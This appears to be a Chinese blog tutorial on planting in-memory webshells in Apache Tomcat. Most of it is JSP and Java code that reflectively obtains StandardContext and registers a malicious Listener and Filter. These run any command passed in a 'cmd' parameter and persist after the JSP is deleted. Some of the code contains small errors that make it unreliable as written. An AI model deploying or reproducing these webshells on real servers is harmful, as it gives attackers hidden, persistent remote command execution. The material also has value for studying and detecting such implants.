内存马简述
Tomcat内存马是指存在于Tomcat容器中的 Listener
, Filter
, Servlet
等攻击者注册的恶意服务, 通常情况是需要攻击者上传一个 jsp
文件执行其中的代码达到动态注册上述恶意服务的行为。不过目前也有师傅研究过很多关于Tomcat中如何实现通用回显的问题, 无需通过落地的 jsp
文件执行代码, 在一些RCE漏洞中能够实现真正的无落地内存Webshell, 这一部分会放在最后的参考内容中。
StandardContext
StandardContext
涉及的内容很多, 推荐大家阅读一些关于Tomcat的文章以了解该对象作用。
这里就简述一下在JSP中如何获取 StandardContext
对象, 因为JSP内置了 request
和response
对象, 所以通过反射就能够获取到了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <% ServletContext servletContext = request.getServletContext(); Field servletContextField = servletContext.getClass().getDeclaredField("context"); servletContextField.setAccessible(true); Object applicationServlet = servletContextField.get(servletContext); Field applicationContextField = applicationServlet.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); StandardContext standardContext = (StandardContext) applicationContextField.get(applicationServlet); EvilListener evil = new EvilListener(request, response); standardContext.addApplicationEventListener(evil); response.getWriter().write("Inject Listener Success"); %>
|
恶意的Listener对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| class EvilListener implements ServletRequestListener { private ServletRequest request; private ServletRepsonse response;
EvilListener(ServletRequest request, ServletResponse response) { this.request = request; this.response = response; }
@Override public void requestDestoryed(ServletRequestEvent servletRequestEvent) {
}
@Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { String cmd = request.getParameter("cmd"); if (cmd != null) { try { java.io.InputStream is = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner(is).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; response.getWriter().write(output); } } } }
|
运行该JSP文件后则会动态注册一个 Listener
, 传递 cmd
参数即可执行命令。
访问首页传递 cmd=whoami
参数。
Filter
Tomcat的运行流程是 Listener -> Filter -> Servlet, 如果我们能够注册一个Filter且保证它在FilterChain中是第一个的话则同样能够实现内存Webshell。
在ApplicationFilterFactory#createFilterChain中通过for循环 StandardContext
对象的 filterMaps
属性, 在满足条件的情况下从 StandardContext
的 filterConfigs
属性取出对应 filterName
的 ApplicationFilterConfig
对象并添加到 filterChain中。
因此如果需要实现动态添加一个 Filter的话, 则需要在 StandardContext的 filterConfigs
中添加需要注册的 Filter, 除此之外还需要在 filterMaps
中也要添加 FilterMap对象, 其的用处在于设置 Filter的 URL匹配模式和 filterName, 这个 filterName对应存放在 StandardContext#filterConfigs中的key。
首先实现一个恶意 Filter.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <%! public class EvilFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { java.io.InputStream is = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner(is).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; response.getWriter().write(output); } catch (Exception e) { e.printStackTrace(); } } filterChain.doFilter(request, response); }
@Override public void destroy() {
} } %>>
|
然后添加到 StandardContext对象的 filterConfigs中。(EvilListener对象存放在FilterDef的filter属性, 而FilterDef又存放在ApplicationFilterConfig的filterDef属性, 最后ApplicationFilterConfig对象 put
到了StandardContext对象的filterConfigs属性中)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <!-- 导入类 --> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.util.HashMap" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@ page import="java.util.Scanner" %>
<% ServletContext servletContext = request.getServletContext(); Field servletContextFIeld = servletContext.getClass().getDeclaredField("context"); servletContextFIeld.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) servletContextFIeld.get(servletContext); Field applicationContextField = applicationContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); StandardContext standardContext = (StandardContext) applicationContextField.get(applicationContext);
FilterDef filterDef = new FilterDef(); filterDef.setFilterName("EvilFilter"); standardContext.addFilterDef(filterDef); EvilFilter evil = new EvilFilter(); filterDef.setFilter(evil);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext); Constructor constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); filterConfigs.put("EvilFilter", constructor.newInstance(standardContext, filterDef));
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName("EvilFilter"); standardContext.addFilterMapBefore(filterMap); response.getWriter().write("Inject Filter Success!"); %>
|
启动Tomcat访问JSP文件, 当页面出现 Inject Filter Success字符串表示Filter已经注入成功。
此时在任意路径下只要携带 cmd
参数即可执行命令, 即使删除原来注入Filter的JSP也不影响。
Servlet
Google看了些文章说是只支持在初始化时动态注册Servlet, 而非运行时能够进行动态注册。
这部分有待深入源码分析, 留个坑。
参考
Tomcat内存马(一) 初探 - li9hu’s Blog
Tomcat中一种半通用回显方法